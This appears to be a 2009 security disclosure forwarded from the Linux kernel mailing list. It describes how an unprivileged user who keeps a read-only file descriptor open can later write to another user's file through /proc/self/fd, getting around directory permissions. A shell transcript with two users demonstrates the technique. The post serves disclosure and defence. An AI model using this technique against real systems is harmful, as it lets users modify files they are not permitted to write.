Hi! This is forward from lkml, so no, I did not invent this hole. Unfortunately, I do not think lkml sees this as a security hole, so... Jamie Lokier said:
a) the current permission model under /proc/PID/fd has a security hole (which Jamie is worried about)I believe its bugtraq time. Being able to reopen file with additional permissions looks like a security problem... Jamie, do you have some test script? And do you want your 15 minutes of bugtraq fame? ;-).
The reopen does check the inode permission, but it does not require you have any reachable path to the file. Someone _might_ use that as a traditional unix security mechanism, but if so it's probably quite rare.
Ok, I got this, with two users. I guess it is real (but obscure) security hole. So, we have this scenario. pavel/root is not doing anything interesting in the background. pavel () toy:/tmp$ uname -a Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux pavel () toy:/tmp mkdir my_priv; cd my_priv pavel () toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file # lock down directory pavel () toy:/tmp/my_priv$ chmod 700 . # relax file permissions, directory is private, so this is safe # check link count on unwritable_file. We would not want someone # to have a hard link to work around our permissions, would we? pavel () toy:/tmp/my_priv$ chmod 666 unwritable_file pavel () toy:/tmp/my_priv$ cat unwritable_file this file should never be writable pavel () toy:/tmp/my_priv$ cat unwritable_file got you # Security problem here [Please pause here for a while before reading how guest did it.] Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so. So what did happen? User guest was able to work around directory permissions in the background, using /proc filesystem. guest () toy:~$ bash 3< /tmp/my_priv/unwritable_file # Running inside nested shell guest () toy:~$ read A <&3 guest () toy:~$ echo $A this file should never be writable guest () toy:~$ cd /tmp/my_priv guest () toy:/tmp/my_priv$ ls unwritable_file # pavel did chmod 000, chmod 666 here guest () toy:/tmp/my_priv$ ls ls: cannot open directory .: Permission denied # Linux correctly prevents guest from writing to that file guest () toy:/tmp/my_priv$ cat unwritable_file cat: unwritable_file: Permission denied guest () toy:/tmp/my_priv$ echo got you >&3 bash: echo: write error: Bad file descriptor # ...until we take a way around it with /proc filesystem. Oops. guest () toy:/tmp/my_priv$ echo got you > /proc/self/fd/3
